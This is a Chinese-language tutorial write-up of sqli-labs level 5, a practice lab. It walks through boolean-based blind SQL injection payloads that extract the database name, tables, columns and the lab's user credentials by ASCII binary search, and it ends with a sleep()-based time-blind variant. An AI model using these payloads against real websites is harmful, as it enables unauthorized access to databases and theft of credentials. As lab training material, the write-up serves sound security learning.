当前位置: 首页 > news >正文

基于时间的 SQL 盲注-延时判断和基于布尔的 SQL 盲注 - 指南

基于时间的 SQL 盲注-延时判断和基于布尔的 SQL 盲注 - 指南

sqli-maps第五关
先尝试bool盲注实在不行才会尝试时间盲注
1.先尝试页面是否正常显示
id=1' and 1=1
id=1' and 1=2
发现了异常
2.随后判断列数
id=1' order by 3
3.然后判断数据库的类型和数据库的名字
显示判断数据库的类型:and length(@@version)>0 --+ 页面正常展示就是mysql
然后对于数据库的名字就要开始尝试:
先对数据库的名字长度开始尝试:id=1 and length(database())>5逐步尝试,然后最终确定了:id=1 and length(database())>9 此时出现了页面的错误就是说明数据库的长度是8位
之后再对数据库的名字开始尝试:
数据库的名字可能是不同的符号,数字,字母什么的就是用ascii码来转换一下,统一转换成数字
先判断数据库名字第一个是啥and ascii(substr(database(),1,1))>100 --+来确定一下范围,如果页面正常就扩大或者缩小一定的范围
-- 先确定大致范围
id=1' and ascii(substr(database(),1,1))>100 --+ → 正常(说明>100)
id=1 'and ascii(substr(database(),1,1))>64 --+ → 正常(说明>64,可能是字母)

-- 二分法精确搜索
id=1' and ascii(substr(database(),1,1))>96 --+ → 正常(说明>96,小写字母)
id=1' and ascii(substr(database(),1,1))>109 --+ → 正常(说明>109,在110-122之间)
id=1' and ascii(substr(database(),1,1))>115 --+ → 异常(说明<=115,在110-115之间)
id=1' and ascii(substr(database(),1,1))>112 --+ → 正常(说明>112,在113-115之间)

-- 精确确定
id=1' and ascii(substr(database(),1,1))=113 --+ → 异常
id=1' and ascii(substr(database(),1,1))=114 --+ → 异常
id=1' and ascii(substr(database(),1,1))=115 --+ → 正常

最终确定第一位:ASCII 115 = 's'
尝试八次就能得到数据库的名字是security
4.从security数据库里面得到相应的表的信息:
表名提取
-- 1. 表数量
id=1' and (select count(*) from information_schema.tables where table_schema='security')=5 --+(发现页面的错误)
id=1' and (select count(*) from information_schema.tables where table_schema='security')=4 --+(发现页面正常)
表有四个

-- 2. 逐位获取第一个表名
第一步:获取第一个表名的长度
-- 先用范围判断长度
id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5 --+
id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>10 --+
id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>8 --+
id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=7 --+(出现异常)
说明第一个表的长度是6

第二步:逐位提取第一个表名的字符(跟猜数据库的步骤类似大写字母,小写字母,字母分界线先来测试范围)
假设第一个表名长度是5个字符:

第1位字符:
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>64 --+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>96 --+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>109 --+

-- 使用二分法精确确定
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+ -- 'e'
emalis就是逐次爆破得到第一个表
:emails,referers,uagents,users就是最终可以得到所有的表
得到后面需要的用户名和密码就是然后重复上述操控为的
5.得到列的数据
字段提取
用上面的途径再次运行
-- 测试ASCII范围
-- 二分法精确确定
-- 最终确定
-- 1.
id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() limit 0,1),1,1))=105--+
许可将users下的列名全部得出,为id,username,password
6.数据提取
用上面的方法再次操作
-- 1. 提取用户名
id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
依次提取第一个用户是 :Dumb
-- 2. 提取密码
id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+
依次提取第一个密码是:Dumb

+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+

如果要时间盲注只需要加上if和sleep的条件就行:
比如末了的id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+只应该改成:
id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),0)--+

http://www.jsqmd.com/news/64984/

相关文章:

  • 2025年行业内较好的胶合建筑模板厂家推荐及选购参考榜
  • 2025年评价高的轻型反弹器最新TOP厂家排名
  • 2025年评价高的三节缓冲托底轨/三维调节缓冲托底轨热门厂家推荐榜单
  • 2025年评价高的液槽式高效空气过滤器优质厂家推荐榜单
  • 2025年口碑好的全自动干冰清洗设备行业内知名厂家排行榜
  • 2025年靠谱的智能电动蛇形帘厂家推荐及选购参考榜
  • 2025年安徽轨道交通院校五大推荐,看看哪家口碑好?
  • 2025年中国气力输送制造企业年度排名:气力输送制造商哪家好
  • 2025年安徽轨道交通技术学院五大推荐,看看哪家实力强
  • 深入解析:K8S RD: Kubernetes运维核心指南:污点调度、网络架构与全链路故障排查实战
  • 平山县农村自建房找谁好?河北石家庄平山自建房公司/机构深度评测口碑推荐榜
  • 平山县农村自建房找谁好?河北石家庄平山自建房公司/机构深度评测口碑推荐榜
  • 2025年质量好的免冲水小便器/小便器无水技术厂家推荐及选购指南
  • 2025年口碑好的西安低温电池最新TOP厂家排名
  • 2025年重庆板栗鸡外卖五大排行榜,板栗鸡外卖哪家便宜、推荐
  • Cloudflare安全验证背后的连接安全与JavaScript检测机制
  • 2025年知名的实验用平板硫化机厂家实力及用户口碑排行榜
  • 2025年质量好的景区冰雕行业内知名厂家排行榜
  • MarkDown
  • 2025年质量好的高性价比全品类五金厂家最新权威实力榜
  • 从人脑神经元到PyTorch深度神经网络:感知机、多层感知器与卷积神经网络的通俗解读
  • 2025年质量好的大型空压机厂家最新权威推荐排行榜
  • 学烹饪哪学校好?重庆新东方烹饪职业学校教学模式先进
  • 2025年重庆梁山鸡品牌TOP5推荐:观音桥步行街好吃的美食
  • 2025年比较好的双玻百叶玻璃隔断厂家推荐及选购指南
  • 2025年热门的温镦钨钢模具材料厂家推荐及选购指南
  • 2025年知名的物业职业装定制/广州职业装定制厂家最新权威实力榜
  • 2025年热门的耐乙醇涂料/耐溶剂涂料厂家推荐及选择指南
  • 从人脑神经元到MindSpore深度神经网络:感知机、多层感知器与卷积神经网络的通俗解读
  • 2025年五大知名直流电源品牌企业推荐,直流电源资深厂商排行